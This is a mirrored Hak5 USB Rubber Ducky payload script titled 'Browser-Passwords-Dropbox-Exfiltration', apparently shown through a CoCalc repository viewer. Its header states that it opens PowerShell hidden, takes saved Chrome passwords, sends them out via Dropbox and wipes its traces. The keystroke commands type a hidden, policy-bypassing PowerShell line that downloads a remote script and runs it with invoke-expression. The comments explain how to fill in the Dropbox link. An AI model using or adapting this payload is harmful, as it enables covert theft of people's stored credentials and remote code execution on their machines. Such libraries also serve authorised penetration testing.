Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
 Path: blob/master/payloads/library/credentials/Browser-Passwords-Dropbox-Exfiltration/Version 01/payload.txt
2971 views
1
REM #########################################################################################################

2
REM #                                                               |                                       #

3
REM # Title        : Browser-Passwords-Dropbox-Exfiltration         |   ____ _____   ______                 #

4
REM # Author       : DIYS.py                                        |  |  _ \_ _\ \ / / ___|  _ __  _   _   #

5
REM # Version      : 1.0                                            |  | | | | | \ V /\___ \ | '_ \| | | |  #

6
REM # Category     : Credentials, Exfiltration                      |  | |_| | |  | |  ___) || |_) | |_| |  #

7
REM # Target       : Windows 10 (PowerShell + Chrome)               |  |____/___| |_| |____(_) .__/ \__, |  #

8
REM # Mode         : HID                                            |                        |_|    |___/   #

9
REM # Props        : I am Jakoby, NULLSESSION0X                     |                                       #

10
REM # Description  : Opens PowerShell hidden, grabs Chrome          |                                       #

11
REM #                passwords, saves as a cleartext file and       |                                       # 

12
REM #                exfiltrates info via Dropbox.                  |                                       # 

13
REM #                Then it cleans up traces of what you have done |                                       # 

14
REM #                after.                                         |                                       # 

15
REM #########################################################################################################

16


17
ATTACKMODE HID

18


19
DELAY 3000

20
GUI r

21
DELAY 250

22
STRINGLN powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://< Your Shared link for the intended file>?dl=1; invoke-expression $pl

23


24
REM     Remember to replace the link with your DropBox shared link for the intended file to download

25
REM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly

26


27